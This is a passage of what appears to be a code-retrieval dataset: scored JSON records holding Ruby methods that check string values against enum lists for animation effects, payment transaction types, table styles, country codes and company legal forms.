'Slightly', 'Top', 'TopLeft', 'TopRight', 'Up', 'UpLeft', 'UpRight', 'Vertical', 'VerticalIn', 'VerticalOut', 'Wheel1', 'Wheel2', 'Wheel3', 'Wheel4', 'Wheel8'])\n return false unless subtype_validator.valid?(@subtype)\n preset_class_type_validator = EnumAttributeValidator.new('String', ['Entrance', 'Exit', 'Emphasis', 'Path', 'MediaCall', 'OLEActionVerbs'])\n return false unless preset_class_type_validator.valid?(@preset_class_type)\n return false if @shape_index.nil?\n trigger_type_validator = EnumAttributeValidator.new('String', ['AfterPrevious', 'OnClick', 'WithPrevious'])\n return false unless trigger_type_validator.valid?(@trigger_type)\n restart_validator = EnumAttributeValidator.new('String', ['Always', 'WhenNotActive', 'Never', 'NotDefined'])\n return false unless restart_validator.valid?(@restart)\n true\n end", "title": "" }, { "docid": "50bdc5024eb33d5cc47a16805de2bcde", "score": "0.6077904", "text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"GPA_CREDIT_PENDING\", \"GPA_CREDIT_PENDING_REVERSAL\", \"GPA_CREDIT_REVERSAL\", \"GPA_CREDIT\", \"GPA_DEBIT\", \"GPA_DEBIT_PENDING_REVERSAL\", \"GPA_DEBIT_REVERSAL\", \"GPA_GRANT\", \"GPA_CREDIT_NETWORK_LOAD\", \"GPA_CREDIT_NETWORK_LOAD_CLEARING\", \"GPA_CREDIT_NETWORK_LOAD_REVERSAL\", \"GPA_DEBIT_NETWORK_LOAD\", \"GPA_DEBIT_NETWORK_LOAD_CLEARING\", \"GPA_DEBIT_NETWORK_LOAD_REVERSAL\", \"ORIGINAL_CREDIT_AUTH\", \"ORIGINAL_CREDIT_AUTH_CLEARING\", \"ORIGINAL_CREDIT_AUTH_REVERSAL\", \"ORIGINAL_CREDIT_AUTH_CAPTURE\", \"ORIGINAL_CREDIT_AUTH_CAPTURE_REVERSAL\", \"GPA_CREDIT_ISSUER_OPERATOR\", \"GPA_DEBIT_ISSUER_OPERATOR\", \"GPA_DEBIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION_REVERSAL\", \"GPA_CREDIT_CHARGEBACK\", \"GPA_CREDIT_CHARGEBACK_REVERSAL\", \"GPA_CREDIT_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT_REVERSAL\", \"MSA_CREDIT_PENDING\", \"MSA_CREDIT_PENDING_REVERSAL\", \"MSA_CREDIT_REVERSAL\", \"MSA_CREDIT\", \"MSA_DEBIT_REVERSAL\", \"MSA_DEBIT_PENDING_REVERSAL\", \"MSA_DEBIT\", \"MSA_CREDIT_AUTHORIZATION\", \"MSA_CREDIT_AUTHORIZATION_REVERSAL\", \"MSA_CREDIT_CHARGEBACK\", \"MSA_CREDIT_CHARGEBACK_REVERSAL\", \"AUTHORIZATION\", \"AUTHORIZATION_INCREMENTAL\", \"AUTHORIZATION_ADVICE\", \"AUTHORIZATION_REVERSAL\", \"AUTHORIZATION_CASHBACK\", \"AUTHORIZATION_QUASI_CASH\", \"AUTHORIZATION_ATM_WITHDRAWAL\", \"AUTHORIZATION_CLEARING\", \"AUTHORIZATION_CLEARING_NETWORK_FEE\", \"AUTHORIZATION_CLEARING_REPRESENTMENT\", \"AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"DISPUTE_CREDIT\", \"DISPUTE_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK\", \"AUTHORIZATION_CLEARING_CHARGEBACK_REVERSAL\", \"AUTHORIZATION_CLEARING_CHARGEBACK_COMPLETED\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_CREDIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_WRITEOFF\", \"AUTHORIZATION_CLEARING_CASHBACK\", \"AUTHORIZATION_CLEARING_QUASI_CASH\", \"AUTHORIZATION_CLEARING_ATM_WITHDRAWAL\", \"ACCOUNT_FUNDING_AUTHORIZATION\", \"ACCOUNT_FUNDING_AUTHORIZATION_CLEARING\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE\", \"ACCOUNT_FUNDING_AUTHORIZATION_REVERSAL\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE_REVERSAL\", \"BALANCE_INQUIRY\", \"REFUND\", \"PIN_DEBIT_CREDIT_ADJUSTMENT\", \"PIN_DEBIT_DEBIT_ADJUSTMENT\", \"PIN_DEBIT_ATM_WITHDRAWAL\", \"PIN_DEBIT_QUASI_CASH\", \"PIN_DEBIT_BALANCE_INQUIRY\", \"PIN_DEBIT_CASHBACK\", \"PIN_DEBIT_CHECK_AVS\", \"PIN_DEBIT_FINANCIAL_DEPOSIT\", \"PIN_DEBIT_FINANCIAL_REFUND\", \"PIN_DEBIT_FINANCIAL_REVERSAL\", \"PIN_DEBIT_FINANCIAL_REFUND_REVERSAL\", \"PIN_DEBIT_TRANSFER\", \"PIN_DEBIT\", \"PIN_DEBIT_REPRESENTMENT\", \"PIN_DEBIT_AUTHORIZATION\", \"PIN_DEBIT_AUTHORIZATION_CLEARING\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"PIN_DEBIT_CHARGEBACK\", \"PIN_DEBIT_CHARGEBACK_REVERSAL\", \"PIN_DEBIT_CHARGEBACK_COMPLETED\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_CREDIT\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_DEBIT\", \"PIN_DEBIT_CHARGEBACK_WRITEOFF\", \"DIRECT_DEPOSIT_CREDIT\", \"DIRECT_DEPOSIT_DEBIT\", \"DIRECT_DEPOSIT_CREDIT_PENDING\", \"DIRECT_DEPOSIT_DEBIT_PENDING\", \"DIRECT_DEPOSIT_CREDIT_REJECT\", \"DIRECT_DEPOSIT_DEBIT_REJECT\", \"DIRECT_DEPOSIT_CREDIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_CREDIT_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_REVERSAL\", \"FEE_CHARGE_PENDING\", \"FEE_CHARGE\", \"FEE_CHARGE_REFUND\", \"FUNDS_EXPIRE\", \"PROGRAMRESERVE_CREDIT\", \"PROGRAMRESERVE_DEBIT\", \"REWARD_EARN\", \"TRANSFER_PEER\", \"TRANSFER_FEE\", \"ACCOUNT_CREDIT\", \"ACCOUNT_DEBIT\", \"TRANSFER_PROGRAM\", \"AUTHORIZATION_STANDIN\", \"PIN_DEBIT_STANDIN\", \"TOKEN_ACTIVATION_REQUEST\", \"TOKEN_ADVICE\", \"PTC_DEBIT\", \"PTC_PENDING_DB\", \"PTC_DB_REV\", \"BILLPAYMENT\", \"BILLPAYMENT_CLEARING\", \"BILLPAYMENT_REVERSAL\", \"RETURN_AUTHORIZATION\", \"RETURN_AUTHORIZATION_CLEARING\", \"RETURN_AUTHORIZATION_REVERSAL\", \"ACH_PUSH_PENDING\", \"ACH_PULL_PENDING\", \"ACH_PUSH\", \"ACH_PULL\", \"UNKNOWN\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end", "title": "" }, { "docid": "07d1438832b26069a882c2a09375301c", "score": "0.60417545", "text": "def render_enums\n # get likely enum attributes\n enums = model_attributes.select{ |attr| field_is_enum?(attr) }\n\n # for each enum, create a constant, an enum field, and validation\n enums.map{ |attr|\n <<-code\n #{attr.name.pluralize.upcase} = { active: 'Active', inactive: 'Inactive' }\n enum #{attr.name}: #{attr.name.pluralize.upcase}.keys\n validates :#{attr.name}, presence: true\n\n code\n }.join\n end", "title": "" }, { "docid": "bdba344ee3068b68a1dd124382ad1a28", "score": "0.60138696", "text": "def attrib_bits_valid=(value); end", "title": "" }, { "docid": "30c46b971aa93fa1f09b3b39a63b38a1", "score": "0.60057545", "text": "def convert_to_enumeration?(attribute)\n !@only_attributes.include?(attribute)\n end", "title": "" }, { "docid": "450ccd97c49a359ffcded93bd336a796", "score": "0.6000713", "text": "def convert_to_enumeration?(attribute)\n !@only_attributes.include?(attribute)\n end", "title": "" }, { "docid": "dacfc418c94e13c05e3d69169aedd306", "score": "0.5939183", "text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"gpa.credit\", \"gpa.credit.pending\", \"gpa.credit.pending.reversal\", \"gpa.credit.reversal\", \"gpa.credit.networkload\", \"gpa.credit.networkload.reversal\", \"gpa.debit.networkload\", \"gpa.debit\", \"gpa.debit.pending\", \"gpa.debit.pending.reversal\", \"gpa.grant\", \"gpa.credit.issueroperator\", \"gpa.debit.issueroperator\", \"gpa.credit.chargeback\", \"gpa.credit.chargeback.reversal\", \"gpa.credit.billpayment\", \"gpa.credit.authorization.billpayment\", \"gpa.credit.authorization.billpayment.reversal\", \"msa.credit.pending\", \"msa.credit.pending.reversal\", \"msa.credit.reversal\", \"msa.credit\", \"msa.debit.pending\", \"msa.debit.pending.reversal\", \"msa.debit\", \"msa.credit.chargeback\", \"msa.credit.chargeback.reversal\", \"authorization\", \"authorization.advice\", \"authorization.reversal\", \"authorization.clearing\", \"authorization.reversal.issuerexpiration\", \"dispute.credit\", \"dispute.debit\", \"authorization.clearing.chargeback\", \"authorization.clearing.chargeback.reversal\", \"refund\", \"pindebit.atm.withdrawal\", \"pindebit.balanceinquiry\", \"pindebit.cashback\", \"pindebit\", \"programreserve.credit\", \"programreserve.debit\", \"fee.charge.pending\", \"fee.charge\", \"fee.charge.pending.refund\", \"funds.expire\", \"reward.earn\", \"transfer.peer\", \"transfer.fee\", \"account.credit\", \"account.debit\", \"balanceinquiry\", \"authorization.atm.withdrawal\", \"authorization.clearing.atm.withdrawal\", \"authorization.cashback\", \"authorization.clearing.cashback\", \"transfer.program\", \"authorization.quasi.cash\", \"authorization.clearing.quasi.cash\", \"authorization.incremental\", \"gpa.credit.authorization\", \"gpa.credit.authorization.reversal\", \"gpa.debit.reversal\", \"original.credit.authorization\", \"original.credit.authorization.reversal\", \"original.credit.authorization.clearing\", \"original.credit.auth_plus_capture\", \"original.credit.auth_plus_capture.reversal\", \"refund.authorization\", \"refund.authorization.advice\", \"refund.authorization.clearing\", \"refund.authorization.reversal\", \"token.activation-request\", \"token.advice\", \"pindebit.authorization\", \"pindebit.authorization.clearing\", \"pindebit.authorization.reversal\", \"pindebit.authorization.reversal.issuerexpiration\", \"authorization.standin\", \"authorization.clearing.chargeback.completed\", \"authorization.clearing.chargeback.provisional.credit\", \"authorization.clearing.chargeback.provisional.debit\", \"authorization.clearing.chargeback.writeoff\", \"directdeposit.credit\", \"directdeposit.credit.pending\", \"directdeposit.credit.reject\", \"directdeposit.credit.pending.reversal\", \"directdeposit.credit.reversal\", \"directdeposit.debit\", \"directdeposit.debit.pending\", \"directdeposit.debit.reject\", \"directdeposit.debit.reversal\", \"directdeposit.debit.pending.reversal\", \"fee.charge.reversal\", \"pindebit.chargeback\", \"pindebit.chargeback.completed\", \"pindebit.chargeback.provisional.credit\", \"pindebit.chargeback.provisional.debit\", \"pindebit.chargeback.reversal\", \"pindebit.chargeback.writeoff\", \"pindebit.credit.adjustment\", \"pindebit.quasicash\", \"pindebit.refund\", \"pindebit.refund.reversal\", \"pindebit.reversal\", \"pindebit.transfer\", \"pushtocard.debit\", \"pushtocard.reversal\", \"unknown\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end", "title": "" }, { "docid": "75d6e889813df1b5e0b4c2647f24c0a2", "score": "0.5851587", "text": "def check_enum(key, val, validation)\n return false if !validation[:required] && val.nil? # Optional and not here, dont check\n return false unless validation[:values]\n return false if validation[:values].include?(val)\n\n val = 'nothing' if val.nil?\n error! key, \"must be one of #{validation[:values].join(', ')}, but was #{val}\"\n true\n end", "title": "" }, { "docid": "6d289fb843de67072e3ccd10998f1799", "score": "0.5803463", "text": "def valid?\n return false if !super\n style_validator = EnumAttributeValidator.new('String', ['None', 'MediumStyle2Accent1', 'MediumStyle2', 'NoStyleNoGrid', 'ThemedStyle1Accent1', 'ThemedStyle1Accent2', 'ThemedStyle1Accent3', 'ThemedStyle1Accent4', 'ThemedStyle1Accent5', 'ThemedStyle1Accent6', 'NoStyleTableGrid', 'ThemedStyle2Accent1', 'ThemedStyle2Accent2', 'ThemedStyle2Accent3', 'ThemedStyle2Accent4', 'ThemedStyle2Accent5', 'ThemedStyle2Accent6', 'LightStyle1', 'LightStyle1Accent1', 'LightStyle1Accent2', 'LightStyle1Accent3', 'LightStyle1Accent4', 'LightStyle2Accent5', 'LightStyle1Accent6', 'LightStyle2', 'LightStyle2Accent1', 'LightStyle2Accent2', 'LightStyle2Accent3', 'MediumStyle2Accent3', 'MediumStyle2Accent4', 'MediumStyle2Accent5', 'LightStyle2Accent6', 'LightStyle2Accent4', 'LightStyle3', 'LightStyle3Accent1', 'MediumStyle2Accent2', 'LightStyle3Accent2', 'LightStyle3Accent3', 'LightStyle3Accent4', 'LightStyle3Accent5', 'LightStyle3Accent6', 'MediumStyle1', 'MediumStyle1Accent1', 'MediumStyle1Accent2', 'MediumStyle1Accent3', 'MediumStyle1Accent4', 'MediumStyle1Accent5', 'MediumStyle1Accent6', 'MediumStyle2Accent6', 'MediumStyle3', 'MediumStyle3Accent1', 'MediumStyle3Accent2', 'MediumStyle3Accent3', 'MediumStyle3Accent4', 'MediumStyle3Accent5', 'MediumStyle3Accent6', 'MediumStyle4', 'MediumStyle4Accent1', 'MediumStyle4Accent2', 'MediumStyle4Accent3', 'MediumStyle4Accent4', 'MediumStyle4Accent5', 'MediumStyle4Accent6', 'DarkStyle1', 'DarkStyle1Accent1', 'DarkStyle1Accent2', 'DarkStyle1Accent3', 'DarkStyle1Accent4', 'DarkStyle1Accent5', 'DarkStyle1Accent6', 'DarkStyle2', 'DarkStyle2Accent1Accent2', 'DarkStyle2Accent3Accent4', 'DarkStyle2Accent5Accent6', 'LightStyle1Accent5', 'Custom'])\n return false unless style_validator.valid?(@style)\n true\n end", "title": "" }, { "docid": "68017d41b549e3ed8f9626d46579ace9", "score": "0.57846975", "text": "def validate_enum(option, enum)\n values = options[option]\n values.all? { |a| enum.include?(a) } || raise(ArgumentError, \"The --#{option} argument must consist of one or more space separated values from #{enum}. Got: #{values}\")\n end", "title": "" }, { "docid": "d80ba89cf3b6bd399ca742031726f20a", "score": "0.57566047", "text": "def valid?\n legal_form_validator = EnumAttributeValidator.new('String', ['1000', '1100', '1200', '1300', '1400', '1500', '1600', '1700', '1800', '1900', '2110', '2120', '2210', '2220', '2310', '2320', '2385', '2400', '2700', '2900', '3110', '3120', '3205', '3210', '3220', '3290', '4110', '4120', '4130', '4140', '4150', '4160', '5191', '5192', '5193', '5194', '5195', '5196', '5202', '5203', '5306', '5307', '5308', '5309', '5385', '5410', '5415', '5422', '5426', '5430', '5431', '5432', '5442', '5443', '5451', '5453', '5454', '5455', '5458', '5459', '5460', '5485', '5498', '5499', '5505', '5510', '5515', '5520', '5522', '5525', '5530', '5531', '5532', '5542', '5543', '5546', '5547', '5548', '5551', '5552', '5553', '5554', '5555', '5558', '5559', '5560', '5585', '5599', '5605', '5610', '5615', '5620', '5622', '5625', '5630', '5631', '5632', '5642', '5643', '5646', '5647', '5648', '5651', '5652', '5653', '5654', '5655', '5658', '5659', '5660', '5685', '5699', '5710', '5720', '5785', '5800', '6100', '6210', '6220', '6316', '6317', '6318', '6411', '6521', '6532', '6533', '6534', '6535', '6536', '6537', '6538', '6539', '6540', '6541', '6542', '6543', '6544', '6551', '6554', '6558', '6560', '6561', '6562', '6563', '6564', '6565', '6566', '6567', '6568', '6569', '6571', '6572', '6573', '6574', '6575', '6576', '6577', '6578', '6585', '6588', '6589', '6595', '6596', '6597', '6598', '6599', '6901', '7111', '7112', '7113', '7120', '7150', '7160', '7171', '7172', '7179', '7190', '7210', '7220', '7225', '7229', '7230', '7312', '7313', '7314', '7321', '7322', '7323', '7331', '7340', '7341', '7342', '7343', '7344', '7345', '7346', '7347', '7348', '7349', '7351', '7352', '7353', '7354', '7355', '7356', '7361', '7362', '7363', '7364', '7365', '7366', '7371', '7372', '7373', '7378', '7379', '7381', '7382', '7383', '7384', '7385', '7389', '7410', '7430', '7450', '7470', '7490', '8110', '8120', '8130', '8140', '8150', '8160', '8170', '8190', '8210', '8250', '8290', '8310', '8311', '8410', '8420', '8450', '8470', '8490', '8510', '8520', '9110', '9150', '9210', '9220', '9221', '9222', '9223', '9224', '9230', '9240', '9260', '9300', '9900', '9970'])\n return false unless legal_form_validator.valid?(@legal_form)\n legal_annual_turn_over_validator = EnumAttributeValidator.new('String', ['', '0-39', '40-99', '100-249', '250-999', '1000-2999', '3000-9999', '10000-99999', '100000-*'])\n return false unless legal_annual_turn_over_validator.valid?(@legal_annual_turn_over)\n legal_net_income_range_validator = EnumAttributeValidator.new('String', ['', '0-4', '5-9', '10-49', '50-149', '150-499', '500-*'])\n return false unless legal_net_income_range_validator.valid?(@legal_net_income_range)\n legal_number_of_employee_range_validator = EnumAttributeValidator.new('String', ['', '0', '1-9', '10-99', '100-249', '250-*'])\n return false unless legal_number_of_employee_range_validator.valid?(@legal_number_of_employee_range)\n status_validator = EnumAttributeValidator.new('String', ['D', 'N', 'I', 'A', 'C', 'T', 'S', 'L', 'O'])\n return false unless status_validator.valid?(@status)\n true\n end", "title": "" }, { "docid": "71e396ecd3fe724dfdc8a3e319ab3533", "score": "0.57389516", "text": "def validate_enum(enum_class, item)\n case item\n when String, Symbol, Integer\n enum_class[item].present?\n when Hash\n name = item[:name]\n if (e = enum_class[name]).present?\n item.all?{ |attribute, value|\n e.send(attribute) == value\n }\n else\n false\n end\n else\n false\n end\n end", "title": "" }, { "docid": "6631a2651ae0f1379b4c6086d7c060e9", "score": "0.57388884", "text": "def valid?\n country_validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", \"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n return false unless country_validator.valid?(@country)\n return true\n end", "title": "" }, { "docid": "01ae05766f20de61607b667fad9a6158", "score": "0.5708027", "text": "def type=(type)\n validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end", "title": "" }, { "docid": "0bc1128f4beb4af030e8814b0da2d801", "score": "0.5700165", "text": "def enum_validator(sym, values, opts=nil)\r\n opts ||= {}\r\n default = (opts.key?(:default)) ? opts[:default] : values[0]\r\n message = opts[:message] || \"should be one of #{values.join ', '}\"\r\n allow_nil = opts[:allow_nil] || false\r\n\r\n my_const_set sym, 'ENUM_VALUES', values\r\n my_const_set sym, 'ENUM_DEFAULT', default\r\n my_const_set sym, 'VALIDATION_MESSAGE', message\r\n my_const_set sym, 'DB_OPTS', { :limit => values, :null => allow_nil, :default => default }\r\n\r\n validates_inclusion_of sym, :in => values, :message => message, :allow_nil => allow_nil\r\n end", "title": "" }, { "docid": "f392c181864a13ef6567e80e653689de", "score": "0.5698631", "text": "def legal_form=(legal_form)\n validator = EnumAttributeValidator.new('String', ['1000', '1100', '1200', '1300', '1400', '1500', '1600', '1700', '1800', '1900', '2110', '2120', '2210', '2220', '2310', '2320', '2385', '2400', '2700', '2900', '3110', '3120', '3205', '3210', '3220', '3290', '4110', '4120', '4130', '4140', '4150', '4160', '5191', '5192', '5193', '5194', '5195', '5196', '5202', '5203', '5306', '5307', '5308', '5309', '5385', '5410', '5415', '5422', '5426', '5430', '5431', '5432', '5442', '5443', '5451', '5453', '5454', '5455', '5458', '5459', '5460', '5485', '5498', '5499', '5505', '5510', '5515', '5520', '5522', '5525', '5530', '5531', '5532', '5542', '5543', '5546', '5547', '5548', '5551', '5552', '5553', '5554', '5555', '5558', '5559', '5560', '5585', '5599', '5605', '5610', '5615', '5620', '5622', '5625', '5630', '5631', '5632', '5642', '5643', '5646', '5647', '5648', '5651', '5652', '5653', '5654', '5655', '5658', '5659', '5660', '5685', '5699', '5710', '5720', '5785', '5800', '6100', '6210', '6220', '6316', '6317', '6318', '6411', '6521', '6532', '6533', '6534', '6535', '6536', '6537', '6538', '6539', '6540', '6541', '6542', '6543', '6544', '6551', '6554', '6558', '6560', '6561', '6562', '6563', '6564', '6565', '6566', '6567', '6568', '6569', '6571', '6572', '6573', '6574', '6575', '6576', '6577', '6578', '6585', '6588', '6589', '6595', '6596', '6597', '6598', '6599', '6901', '7111', '7112', '7113', '7120', '7150', '7160', '7171', '7172', '7179', '7190', '7210', '7220', '7225', '7229', '7230', '7312', '7313', '7314', '7321', '7322', '7323', '7331', '7340', '7341', '7342', '7343', '7344', '7345', '7346', '7347', '7348', '7349', '7351', '7352', '7353', '7354', '7355', '7356', '7361', '7362', '7363', '7364', '7365', '7366', '7371', '7372', '7373', '7378', '7379', '7381', '7382', '7383', '7384', '7385', '7389', '7410', '7430', '7450', '7470', '7490', '8110', '8120', '8130', '8140', '8150', '8160', '8170', '8190', '8210', '8250', '8290', '8310', '8311', '8410', '8420', '8450', '8470', '8490', '8510', '8520', '9110', '9150', '9210', '9220', '9221', '9222', '9223', '9224', '9230', '9240', '9260', '9300', '9900', '9970'])\n unless validator.valid?(legal_form)\n fail ArgumentError, 'invalid value for \"legal_form\", must be one of #{validator.allowable_values}.'\n end\n @legal_form = legal_form\n end", "title": "" }, { "docid": "f741c9ca645e5667a9637cbdd35ef98b", "score": "0.567808", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"arity\", @arity)\n writer.write_enum_value(\"multivaluedComparisonType\", @multivalued_comparison_type)\n writer.write_collection_of_object_values(\"supportedAttributeTypes\", @supported_attribute_types)\n end", "title": "" }, { "docid": "ef543a39cb61fc92dc80acd0cd8c67da", "score": "0.56777334", "text": "def country=(country)\n validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", 